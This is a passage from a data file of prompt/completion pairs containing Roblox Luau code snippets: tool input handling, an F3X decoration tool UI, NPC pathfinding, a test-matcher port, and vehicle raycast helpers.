true})\n\t\t\t\tend)\n\t\t\t\tInputCheckClone.InputButton.InputEnded:connect(function()\n\t\t\t\t\tInvokeServer(\"Button1Click\", {Down = false})\n\t\t\t\tend)\n\t\t\t\tInputCheckClone.Parent = PlayerGui\n\t\t\tend\n\t\tend\n\tend)\nend\n\nfunction Unequipped()\n\tif InputCheckClone and InputCheckClone.Parent then\n\t\tInputCheckClone:Destroy()\n\tend\n\tfor i, v in pairs(Animations) do\n\t\tif v and v.AnimationTrack then\n\t\t\tv.AnimationTrack:Stop()\n\t\tend\n\tend\n\tAnimations = {}\n\tToolEquipped = false\nend\n\nfunction InvokeServer(mode, value)\n\tpcall(function()\n\t\tlocal ServerReturn = ServerControl:InvokeServer(mode, value)\n\t\treturn ServerReturn\n\tend)\nend\n\nfunction OnClientInvoke(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tSetAnimation(\"PlayAnimation\", value)\n\telseif mode == \"StopAnimation\" and value then\n\t\tSetAnimation(\"StopAnimation\", value)\n\telseif mode == \"PlaySound\" and value then\n\t\tvalue:Play()\n\telseif mode == \"StopSound\" and value then\n\t\tvalue:Stop()\n\telseif mode == \"MousePosition\" then\n\t\treturn ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil)\n\tend\nend\n\nClientControl.OnClientInvoke = OnClientInvoke\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "-- NEW v12.0.0: Casters now use a data packet which can be made like what follows.\n-- Check the API for more information: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/fcbehavior", "completion": "\nlocal CastBehavior = FastCast.newBehavior()\nCastBehavior.RaycastParams = CastParams\nCastBehavior.MaxDistance = BULLET_MAXDIST\nCastBehavior.HighFidelityBehavior = FastCast.HighFidelityBehavior.Default\n"} +{"prompt": "-- ROBLOX deviation: our implementation of any has significant deviations, check README for more info\n-- > any(\"number\"):asymmetricMatch(1) -- true\n-- > any(\"number\"):toAsymmetricMatcher() -- \"Any\"\n-- > any(ClassA):asymmetricMatch(ClassA.new()) -- true\n-- > any(ClassA):asymmetricMatch(ClassB.new()) -- false\n-- > any(ClassA):asymmetricMatch(DerivedClassA.new()) -- true", "completion": "\nlocal Any = {}\nAny.__index = Any\nsetmetatable(Any, AsymmetricMatcher)\nfunction Any.new(sample: any)\n\tif typeof(sample) ~= \"table\" and typeof(sample) ~= \"string\" then\n\t\terror(\n\t\t\t\"any() expects to be passed a typename string or a prototype class. \"\n\t\t\t\t.. \"Please pass one or use anything() to match any object.\"\n\t\t)\n\tend\n\tlocal self = AsymmetricMatcher.new(sample)\n\tsetmetatable(self, Any)\n\treturn self\nend\n\nfunction Any:asymmetricMatch(other: any): boolean\n\t-- ROBLOX deviation: simplified since this covers all the cases in Lua\n\tlocal selfType = getType(self.sample)\n\tlocal otherType = getType(other)\n\t-- compare metatable to check instance of Lua prototypical class\n\tif (selfType == \"table\" and otherType == \"table\") or (selfType == \"error\" and otherType == \"error\") then\n\t\treturn instanceof(other, self.sample)\n\t\t-- check type matches type provided by string\n\telseif selfType == \"string\" and self.sample == otherType then\n\t\treturn true\n\tend\n\treturn false\nend\n\nfunction Any:toString(): string\n\treturn \"Any\"\nend\n\nfunction Any:getExpectedType(): string\n\t-- ROBLOX deviation: simplified since this already covers all the cases in Lua\n\treturn tostring(self.sample)\nend\n\nfunction Any:toAsymmetricMatcher(): string\n\treturn \"Any<\" .. tostring(self.sample) .. \">\"\nend\n\nlocal Anything = {}\nAnything.__index = Anything\nsetmetatable(Anything, AsymmetricMatcher)\nfunction Anything.new(sample: any)\n\tlocal self = AsymmetricMatcher.new(sample)\n\tsetmetatable(self, Anything)\n\treturn self\nend\n\nfunction Anything:asymmetricMatch(other: any): boolean\n\t-- ROBLOX deviation: other !== null is redundant since Lua doesn't distinguish undefined/nil\n\treturn not isUndefined(other)\nend\n\nfunction Anything:toString(): string\n\treturn \"Anything\"\nend\n"} +{"prompt": "-- This script automatically assumes that you are removing any Decals or Textures in the same Parent that this script is in.", "completion": "\n\nlocal g = script.Parent:getChildren()\n\n\t\tfor i = 1, #g do\n\t\t\tif (g[i].className == \"Decal\") then -- Removes Decals\n\t\t\t\tg[i]:remove()\n\t\t\tend\n\n\t\t\tif (g[i].className == \"Texture\") then -- Removes Textures\n\t\t\t\tg[i]:remove()\n\t\t\tend\n\nend\n\nscript:Destroy() -- Removes the script itself\n"} +{"prompt": "-- List of creatable decoration types", "completion": "\nlocal DecorationTypes = { 'Smoke', 'Fire', 'Sparkles' };\n\nfunction UpdateUI()\n\t-- Updates information on the UI\n\n\t-- Make sure the UI's on\n\tif not DecorateTool.UI then\n\t\treturn;\n\tend;\n\n\t-- Go through each decoration type and update each options UI\n\tfor _, DecorationType in pairs(DecorationTypes) do\n\n\t\tlocal Decorations = GetDecorations(DecorationType);\n\t\tlocal DecorationSettingsUI = DecorateTool.UI[DecorationType];\n\n\t\t-- Option input references\n\t\tlocal Options = DecorationSettingsUI.Options;\n\n\t\t-- Add/remove button references\n\t\tlocal AddButton = DecorationSettingsUI.AddButton;\n\t\tlocal RemoveButton = DecorationSettingsUI.RemoveButton;\n\n\t\t-- Hide option UIs for decoration types not present in the selection\n\t\tif #Decorations == 0 and not DecorationSettingsUI.ClipsDescendants then\n\t\t\tCloseOptions();\n\t\tend;\n\n\t\t-------------------------------------------\n\t\t-- Show and hide \"ADD\" and \"REMOVE\" buttons\n\t\t-------------------------------------------\n\n\t\t-- If no selected parts have decorations\n\t\tif #Decorations == 0 then\n\n\t\t\t-- Show add button only\n\t\t\tAddButton.Visible = true;\n\t\t\tAddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);\n\t\t\tRemoveButton.Visible = false;\n\n\t\t-- If only some selected parts have decorations\n\t\telseif #Decorations < #Selection.Parts then\n\n\t\t\t-- Show both add and remove buttons\n\t\t\tAddButton.Visible = true;\n\t\t\tAddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);\n\t\t\tRemoveButton.Visible = true;\n\t\t\tRemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3);\n\n\t\t-- If all selected parts have decorations\n\t\telseif #Decorations == #Selection.Parts then\n\n\t\t\t-- Show remove button\n\t\t\tRemoveButton.Visible = true;\n\t\t\tRemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3);\n\t\t\tAddButton.Visible = false;\n\n\t\tend;\n\n\t\t--------------------\n\t\t-- Update each input\n\t\t--------------------\n\n\t\t-- Update smoke inputs\n\t\tif DecorationType == 'Smoke' then\n\n\t\t\t-- Get the inputs\n\t\t\tlocal SizeInput = Options.SizeOption.Input.TextBox;\n\t\t\tlocal VelocityInput = Options.VelocityOption.Input.TextBox;\n\t\t\tlocal OpacityInput = Options.OpacityOption.Input.TextBox;\n\t\t\tlocal ColorIndicator = Options.ColorOption.Indicator;\n\n\t\t\t-- Update the inputs\n\t\t\tUpdateDataInputs {\n\t\t\t\t[SizeInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Size'), 2) or '*';\n\t\t\t\t[VelocityInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'RiseVelocity'), 2) or '*';\n\t\t\t\t[OpacityInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Opacity'), 2) or '*';\n\t\t\t};\n\t\t\tUpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'Color'));\n\n\t\t-- Update fire inputs\n\t\telseif DecorationType == 'Fire' then\n\n\t\t\t-- Get the inputs\n\t\t\tlocal SizeInput = Options.SizeOption.Input.TextBox;\n\t\t\tlocal HeatInput = Options.HeatOption.Input.TextBox;\n\t\t\tlocal SecondaryColorIndicator = Options.SecondaryColorOption.Indicator;\n\t\t\tlocal ColorIndicator = Options.ColorOption.Indicator;\n\n\t\t\t-- Update the inputs\n\t\t\tUpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'Color'));\n\t\t\tUpdateColorIndicator(SecondaryColorIndicator, Support.IdentifyCommonProperty(Decorations, 'SecondaryColor'));\n\t\t\tUpdateDataInputs {\n\t\t\t\t[HeatInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Heat'), 2) or '*';\n\t\t\t\t[SizeInput] = Support.Round(Support.IdentifyCommonProperty(Decorations, 'Size'), 2) or '*';\n\t\t\t};\n\n\t\t-- Update sparkle inputs\n\t\telseif DecorationType == 'Sparkles' then\n\n\t\t\t-- Get the inputs\n\t\t\tlocal ColorIndicator = Options.ColorOption.Indicator;\n\n\t\t\t-- Update the inputs\n\t\t\tUpdateColorIndicator(ColorIndicator, Support.IdentifyCommonProperty(Decorations, 'SparkleColor'));\n\n\t\tend;\n\n\tend;\n\nend;\n\nfunction HideUI()\n\t-- Hides the tool UI\n\n\t-- Make sure there's a UI\n\tif not DecorateTool.UI then\n\t\treturn;\n\tend;\n\n\t-- Hide the UI\n\tDecorateTool.UI.Visible = false;\n\n\t-- Stop updating the UI\n\tUIUpdater:Stop();\n\nend;\n\nfunction GetDecorations(DecorationType)\n\t-- Returns all the decorations of the given type in the selection\n\n\tlocal Decorations = {};\n\n\t-- Get any decorations from any selected parts\n\tfor _, Part in pairs(Selection.Parts) do\n\t\ttable.insert(Decorations, Support.GetChildOfClass(Part, DecorationType));\n\tend;\n\n\t-- Return the decorations\n\treturn Decorations;\n\nend;\n\nfunction UpdateColorIndicator(Indicator, Color)\n\t-- Updates the given color indicator\n\n\t-- If there is a single color, just display it\n\tif Color then\n\t\tIndicator.BackgroundColor3 = Color;\n\t\tIndicator.Varies.Text = '';\n\n\t-- If the colors vary, display a * on a gray background\n\telse\n\t\tIndicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);\n\t\tIndicator.Varies.Text = '*';\n\tend;\n\nend;\n\nfunction UpdateDataInputs(Data)\n\t-- Updates the data in the given TextBoxes when the user isn't typing in them\n\n\t-- Go through the inputs and data\n\tfor Input, UpdatedValue in pairs(Data) do\n\n\t\t-- Make sure the user isn't typing into the input\n\t\tif not Input:IsFocused() then\n\n\t\t\t-- Set the input's value\n\t\t\tInput.Text = tostring(UpdatedValue);\n\n\t\tend;\n\n\tend;\n\nend;\n\nfunction TrackChange()\n\n\t-- Start the record\n\tHistoryRecord = {\n\t\tBefore = {};\n\t\tAfter = {};\n\t\tSelection = Selection.Items;\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncDecorate', Record.Before);\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Applies this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncDecorate', Record.After);\n\n\t\tend;\n\n\t};\n\nend;\n\nfunction RegisterChange()\n\t-- Finishes creating the history record and registers it\n\n\t-- Make sure there's an in-progress history record\n\tif not HistoryRecord then\n\t\treturn;\n\tend;\n\n\t-- Send the change to the server\n\tCore.SyncAPI:Invoke('SyncDecorate', HistoryRecord.After);\n\n\t-- Register the record and clear the staging\n\tCore.History.Add(HistoryRecord);\n\tHistoryRecord = nil;\n\nend;\n\nfunction EnableOptionsUI(SettingsUI)\n\t-- Sets up the UI for the given decoration type settings UI\n\n\t-- Get the type of decoration this options UI is for\n\tlocal DecorationType = SettingsUI.Name;\n\n\t-- Option input references\n\tlocal Options = SettingsUI.Options;\n\t\n\t-- Add/remove/show button references\n\tlocal AddButton = SettingsUI.AddButton;\n\tlocal RemoveButton = SettingsUI.RemoveButton;\n\tlocal ShowButton = SettingsUI.ArrowButton;\n\n\t-- Enable options for smoke decorations\n\tif DecorationType == 'Smoke' then\n\t\tSyncInputToProperty('Color', DecorationType, 'Color', Options.ColorOption.HSVPicker);\n\t\tSyncInputToProperty('Size', DecorationType, 'Number', Options.SizeOption.Input.TextBox);\n\t\tSyncInputToProperty('RiseVelocity', DecorationType, 'Number', Options.VelocityOption.Input.TextBox);\n\t\tSyncInputToProperty('Opacity', DecorationType, 'Number', Options.OpacityOption.Input.TextBox);\n\n\t-- Enable options for fire decorations\n\telseif DecorationType == 'Fire' then\n\t\tSyncInputToProperty('Color', DecorationType, 'Color', Options.ColorOption.HSVPicker);\n\t\tSyncInputToProperty('SecondaryColor', DecorationType, 'Color', Options.SecondaryColorOption.HSVPicker);\n\t\tSyncInputToProperty('Size', DecorationType, 'Number', Options.SizeOption.Input.TextBox);\n\t\tSyncInputToProperty('Heat', DecorationType, 'Number', Options.HeatOption.Input.TextBox);\n\n\t-- Enable options for sparkle decorations\n\telseif DecorationType == 'Sparkles' then\n\t\tSyncInputToProperty('SparkleColor', DecorationType, 'Color', Options.ColorOption.HSVPicker);\n\n\tend;\n\n\t-- Enable decoration addition button\n\tAddButton.MouseButton1Click:Connect(function ()\n\t\tAddDecorations(DecorationType);\n\tend);\n\n\t-- Enable decoration removal button\n\tRemoveButton.MouseButton1Click:Connect(function ()\n\t\tRemoveDecorations(DecorationType);\n\tend);\n\n\t-- Enable decoration options UI show button\n\tShowButton.MouseButton1Click:Connect(function ()\n\t\tOpenOptions(DecorationType);\n\tend);\n\nend;\n\nfunction OpenOptions(DecorationType)\n\t-- Opens the options UI for the given decoration type\n\n\t-- Get the UI\n\tlocal UI = DecorateTool.UI[DecorationType];\n\tlocal UITemplate = Core.Tool.Interfaces.BTDecorateToolGUI[DecorationType];\n\n\t-- Close up all decoration option UIs\n\tCloseOptions(DecorationType);\n\n\t-- Calculate how much to expand this options UI by\n\tlocal HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset);\n\n\t-- Start the options UI size from 0\n\tUI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0);\n\n\t-- Allow the options UI to be seen\n\tUI.ClipsDescendants = false;\n\n\t-- Perform the options UI resize animation\n\tUI.Options:TweenSize(\n\t\tUITemplate.Options.Size + HeightExpansion,\n\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,\n\t\tfunction ()\n\n\t\t\t-- Allow visibility of overflowing UIs within the options UI\n\t\t\tUI.Options.ClipsDescendants = false;\n\n\t\tend\n\t);\n\n\t-- Expand the main UI to accommodate the expanded options UI\n\tDecorateTool.UI:TweenSize(\n\t\tCore.Tool.Interfaces.BTDecorateToolGUI.Size + HeightExpansion,\n\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t);\n\n\t-- Push any UIs below this one downwards\n\tlocal DecorationTypeIndex = Support.FindTableOccurrence(DecorationTypes, DecorationType);\n\tfor DecorationTypeIndex = DecorationTypeIndex + 1, #DecorationTypes do\n\n\t\t-- Get the UI\n\t\tlocal DecorationType = DecorationTypes[DecorationTypeIndex];\n\t\tlocal UI = DecorateTool.UI[DecorationType];\n\n\t\t-- Perform the position animation\n\t\tUI:TweenPosition(\n\t\t\tUDim2.new(\n\t\t\t\tUI.Position.X.Scale,\n\t\t\t\tUI.Position.X.Offset,\n\t\t\t\tUI.Position.Y.Scale,\n\t\t\t\t30 + 30 * (DecorationTypeIndex - 1) + HeightExpansion.Y.Offset\n\t\t\t),\n\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t\t);\n\n\tend;\n\nend;\n\nfunction CloseOptions(Exception)\n\t-- Closes all decoration options, except the one for the given decoration type\n\n\t-- Go through each decoration type\n\tfor DecorationTypeIndex, DecorationType in pairs(DecorationTypes) do\n\n\t\t-- Get the UI for each decoration type\n\t\tlocal UI = DecorateTool.UI[DecorationType];\n\t\tlocal UITemplate = Core.Tool.Interfaces.BTDecorateToolGUI[DecorationType];\n\n\t\t-- Remember the initial size for each options UI\n\t\tlocal InitialSize = UITemplate.Options.Size;\n\n\t\t-- Move each decoration type UI to its starting position\n\t\tUI:TweenPosition(\n\t\t\tUDim2.new(\n\t\t\t\tUI.Position.X.Scale,\n\t\t\t\tUI.Position.X.Offset,\n\t\t\t\tUI.Position.Y.Scale,\n\t\t\t\t30 + 30 * (DecorationTypeIndex - 1)\n\t\t\t),\n\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t\t);\n\t\t\n\t\t-- Make sure to not resize the exempt decoration type UI\n\t\tif not Exception or Exception and DecorationType ~= Exception then\n\n\t\t\t-- Allow the options UI to be resized\n\t\t\tUI.Options.ClipsDescendants = true;\n\n\t\t\t-- Perform the resize animation to close up\n\t\t\tUI.Options:TweenSize(\n\t\t\t\tUDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0),\n\t\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,\n\t\t\t\tfunction ()\n\n\t\t\t\t\t-- Hide the option UI\n\t\t\t\t\tUI.ClipsDescendants = true;\n\n\t\t\t\t\t-- Set the options UI's size to its initial size (for reexpansion)\n\t\t\t\t\tUI.Options.Size = InitialSize;\n\n\t\t\t\tend\n\t\t\t);\n\n\t\tend;\n\n\tend;\n\n\t-- Contract the main UI if no option UIs are being opened\n\tif not Exception then\n\t\tDecorateTool.UI:TweenSize(\n\t\t\tCore.Tool.Interfaces.BTDecorateToolGUI.Size,\n\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t\t);\n\tend;\n\nend;\n\nfunction SyncInputToProperty(Property, DecorationType, InputType, Input)\n\t-- Enables `Input` to change the given property\n\n\t-- Enable inputs\n\tif InputType == 'Color' then\n\t\tInput.MouseButton1Click:Connect(function ()\n\t\t\tCore.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start(\n\t\t\t\tSupport.IdentifyCommonProperty(GetDecorations(DecorationType), Property) or Color3.new(0, 0, 1),\n\t\t\t\tfunction (Color) SetProperty(DecorationType, Property, Color) end,\n\t\t\t\tCore.Targeting.CancelSelecting\n\t\t\t);\n\t\tend);\n\n\t-- Enable number inputs\n\telseif InputType == 'Number' then\n\t\tInput.FocusLost:Connect(function ()\n\t\t\tSetProperty(DecorationType, Property, tonumber(Input.Text));\n\t\tend);\n\n\tend;\n\nend;\n\nfunction SetProperty(DecorationType, Property, Value)\n\n\t-- Make sure the given value is valid\n\tif not Value then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each decoration\n\tfor _, Decoration in pairs(GetDecorations(DecorationType)) do\n\n\t\t-- Store the state of the decoration before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Decoration.Parent, DecorationType = DecorationType, [Property] = Decoration[Property] });\n\n\t\t-- Create the change request for this decoration\n\t\ttable.insert(HistoryRecord.After, { Part = Decoration.Parent, DecorationType = DecorationType, [Property] = Value });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction AddDecorations(DecorationType)\n\n\t-- Prepare the change request for the server\n\tlocal Changes = {};\n\n\t-- Go through the selection\n\tfor _, Part in pairs(Selection.Parts) do\n\n\t\t-- Make sure this part doesn't already have a decoration\n\t\tif not Support.GetChildOfClass(Part, DecorationType) then\n\n\t\t\t-- Queue a decoration to be created for this part\n\t\t\ttable.insert(Changes, { Part = Part, DecorationType = DecorationType });\n\n\t\tend;\n\n\tend;\n\n\t-- Send the change request to the server\n\tlocal Decorations = Core.SyncAPI:Invoke('CreateDecorations', Changes);\n\n\t-- Put together the history record\n\tlocal HistoryRecord = {\n\t\tDecorations = Decorations;\n\t\tSelection = Selection.Items;\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Remove the decorations\n\t\t\tCore.SyncAPI:Invoke('Remove', Record.Decorations);\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Reapplies this change\n\n\t\t\t-- Restore the decorations\n\t\t\tCore.SyncAPI:Invoke('UndoRemove', Record.Decorations);\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\tend;\n\n\t};\n\n\t-- Register the history record\n\tCore.History.Add(HistoryRecord);\n\n\t-- Open the options UI for this decoration type\n\tOpenOptions(DecorationType);\n\nend;\n\nfunction RemoveDecorations(DecorationType)\n\n\t-- Get all the decorations in the selection\n\tlocal Decorations = GetDecorations(DecorationType);\n\n\t-- Create the history record\n\tlocal HistoryRecord = {\n\t\tDecorations = Decorations;\n\t\tSelection = Selection.Items;\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Restore the decorations\n\t\t\tCore.SyncAPI:Invoke('UndoRemove', Record.Decorations);\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Reapplies this change\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Remove the decorations\n\t\t\tCore.SyncAPI:Invoke('Remove', Record.Decorations);\n\n\t\tend;\n\n\t};\n\n\t-- Send the removal request\n\tCore.SyncAPI:Invoke('Remove', Decorations);\n\n\t-- Register the history record\n\tCore.History.Add(HistoryRecord);\n\nend;\n"} +{"prompt": "-- no touchy", "completion": "\nlocal path\nlocal waypoint\nlocal oldpoints\nlocal isWandering = 0\n\nif canWander then\n\tspawn(function()\n\t\twhile isWandering == 0 do\n\t\t\tisWandering = 1\n\t\t\tlocal desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)\n\t\t\thuman:MoveTo( Vector3.new(desgx, 0, desgz) )\n\t\t\twait(math.random(4, 6))\n\t\t\tisWandering = 0\n\t\tend\n\tend)\nend\n\nwhile wait() do\n\tlocal enemytorso = GetTorso(hroot.Position)\t\n\tif enemytorso ~= nil then -- if player detected\n\t\tisWandering = 1\n\t\tlocal function checkw(t)\n\t\t\tlocal ci = 3\n\t\t\tif ci > #t then\n\t\t\t\tci = 3\n\t\t\tend\n\t\t\tif t[ci] == nil and ci < #t then\n\t\t\t\trepeat\n\t\t\t\t\tci = ci + 1\n\t\t\t\t\twait()\n\t\t\t\tuntil t[ci] ~= nil\n\t\t\t\treturn Vector3.new(1, 0, 0) + t[ci]\n\t\t\telse\n\t\t\t\tci = 3\n\t\t\t\treturn t[ci]\n\t\t\tend\n\t\tend\n\t\t\n\t\tpath = pfs:FindPathAsync(hroot.Position, enemytorso.Position)\n\t\twaypoint = path:GetWaypoints()\n\t\toldpoints = waypoint\n\t\tlocal connection;\n\t\t\n\t\tlocal direct = Vector3.FromNormalId(Enum.NormalId.Front)\n\t\tlocal ncf = hroot.CFrame * CFrame.new(direct)\n\t\tdirect = ncf.p.unit\n\t\tlocal rootr = Ray.new(hroot.Position, direct)\n\t\tlocal phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)\n\t\t\n\t\tif path and waypoint or checkw(waypoint) then\n\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then\n\t\t\t\thuman:MoveTo( checkw(waypoint).Position )\n\t\t\t\thuman.Jump = false\n\t\t\tend\n\t\t\t\n\t\t\t-- CANNOT LET BALDI JUMPS --\n\t\t\t--[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then\n\t\t\t\thuman.Jump = true\n\t\t\t\tconnection = human.Changed:connect(function()\n\t\t\t\t\thuman.Jump = true\n\t\t\t\tend)\n\t\t\t\thuman:MoveTo( checkw(waypoint).Position )\n\t\t\telse\n\t\t\t\thuman.Jump = false\n\t\t\tend]]\n\t\t\t\n\t\t\t--[[hroot.Touched:connect(function(p)\n\t\t\t\tlocal bodypartnames = GetPlayersBodyParts(enemytorso)\n\t\t\t\tif p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then\n\t\t\t\t\tconnection = human.Changed:connect(function()\n\t\t\t\t\t\thuman.Jump = true\n\t\t\t\t\tend)\n\t\t\t\telse\n\t\t\t\t\thuman.Jump = false\n\t\t\t\tend\n\t\t\tend)]]\n\t\t\t\n\t\t\tif connection then\n\t\t\t\tconnection:Disconnect()\n\t\t\tend\n\t\t\t\n\t\telse\n\t\t\tfor i = 3, #oldpoints do\n\t\t\t\thuman:MoveTo( oldpoints[i].Position )\t\n\t\t\tend\n\t\tend\n\telseif enemytorso == nil and canWander then -- if player not detected\n\t\tisWandering = 0\n\t\tpath = nil\n\t\twaypoint = nil\n\t\thuman.MoveToFinished:Wait()\n\tend\nend\n"} +{"prompt": "-- Services", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal CodesOtaku = ReplicatedStorage:WaitForChild(\"CodesOtaku\")\nlocal CutsceneModule = CodesOtaku:WaitForChild(\"CutsceneModule\")\n\nrepeat wait() until workspace.CurrentCamera -- Wait until camera is found"} +{"prompt": "-- The maximum distance the can can shoot, this value should never go above 1000", "completion": "\nlocal Range = 700"} +{"prompt": "-- at max range\n--script.Parent.Explosion.PlayOnRemove = false", "completion": "\nnote:stop()\nshaft:remove()\n"} +{"prompt": "-- Load libraries", "completion": "\nlocal Support, Cheer = _G.GetLibraries(\n\t'F3X/SupportLibrary@^1.0.0',\n\t'F3X/Cheer@^0.0.0'\n);\n"} +{"prompt": "--[=[\n\t@return SIGNAL_MARKER\n\tReturns a marker that will transform the current key into\n\ta RemoteSignal once the service is created. Should only\n\tbe called within the Client table of a service.\n\n\tSee [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal)\n\tdocumentation for more info.\n\t```lua\n\tlocal MyService = Knit.CreateService {\n\t\tName = \"MyService\";\n\t\tClient = {\n\t\t\tMySignal = Knit.CreateSignal(); -- Create the signal marker\n\t\t}\n\t}\n\n\t-- Connect to the signal:\n\tMyService.Client.MySignal:Connect(function(player, ...) end)\n\t```\n]=]", "completion": "\nfunction KnitServer.CreateSignal()\n\treturn SIGNAL_MARKER\nend\n\n"} +{"prompt": "-- Table Util\n-- Stephen Leitnick\n-- September 13, 2017", "completion": "\n"} +{"prompt": "-- Services", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal MatchmakingLobby = require(ReplicatedStorage.Libraries.MatchmakingLobby)\nlocal Util = require(ReplicatedStorage.Libraries.Util)\n"} +{"prompt": "-- LOCAL", "completion": "\nlocal main = _G.HDAdminMain\nlocal playerGui = main.playerGui\nlocal topbarPlus = main.replicatedStorage:WaitForChild(\"HDAdmin\"):WaitForChild(\"Topbar+\")\nlocal iconController = require(topbarPlus.IconController)\n\n"} +{"prompt": "--Required Modules", "completion": "\nlocal modules = script.Parent\nlocal status = require(modules.Status)\nlocal core = require(modules.CoreModule)\n\nlocal marine = script.Parent.Parent.Parent\nlocal myHuman = marine.Humanoid\nlocal myRoot = marine.HumanoidRootPart\nlocal m4 = marine.M4\nlocal reloadSound = m4.Reload\nlocal magazine = marine.Mag\n\nlocal myHead = marine.Head\nlocal myTorso = marine.Torso\nlocal neck = myTorso.Neck\nlocal lShoulder = myTorso[\"Left Shoulder\"]\nlocal rShoulder = myTorso[\"Right Shoulder\"]\nlocal lArmWeld = myTorso[\"Left Arm Weld\"]\nlocal rArmWeld = myTorso[\"Right Arm Weld\"]\nlocal lArm = marine[\"Left Arm\"]\nlocal rArm = marine[\"Right Arm\"]\nlocal m4Weld = m4[\"M4 Weld\"]\n"} +{"prompt": "-- Functions", "completion": "\nlocal function CheckDistance(pos1, pos2)\n\treturn (pos1 - pos2).Magnitude\nend\n\nlocal function Raycast(origin, direction)\n\treturn workspace:Raycast(origin, direction, RayParams)\nend\n\nlocal function RaycastToPoint(origin, destination)\n\treturn Raycast(origin, destination - origin)\nend\n\nlocal function UpdateThrottleWithComp(throttle: number)\n\tChassis.UpdateThrottle(Car.Chassis.FloorPanel.AssemblyLinearVelocity.Magnitude, throttle)\nend\n\nlocal function UpdateSteeringWithComp(steer: number)\n\tChassis.UpdateSteering(steer, Car.Chassis.FloorPanel.AssemblyLinearVelocity.Magnitude)\n\treturn steer\nend\n\nlocal function UpdateThrottleToSpeed(spsSpeed)\n\tChassis.SetMotorVelocity(spsSpeed / (math.pi * 3) * math.rad(360))\nend\n\nlocal function FaceSteerToPosition(position: Vector3)\n\tlocal PositionDifference = (position - Car.Chassis.FloorPanel.Position).Unit\n\n\tif PositionDifference:Dot(Car.Chassis.FloorPanel.CFrame.LookVector) < -0.5 then -- Vehicle is behind the car!\n\t\tlocal RightResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.RightVector * RaycastDistance)\n\t\tlocal LeftResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.RightVector * -RaycastDistance)\n\t\tlocal FrontResult = Raycast(Car.Chassis.FloorPanel.Position, Car.Chassis.FloorPanel.CFrame.LookVector * RaycastDistance)\n\n\t\tlocal RightDistance = RaycastDistance\n\t\tlocal LeftDistance = RaycastDistance\n\t\tlocal FrontDistance = RaycastDistance\n\n\t\tif RightResult ~= nil then\n\t\t\tRightDistance = CheckDistance(Car.Chassis.FloorPanel.Position, RightResult.Position)\n\t\tend\n\n\t\tif LeftResult ~= nil then\n\t\t\tLeftDistance = 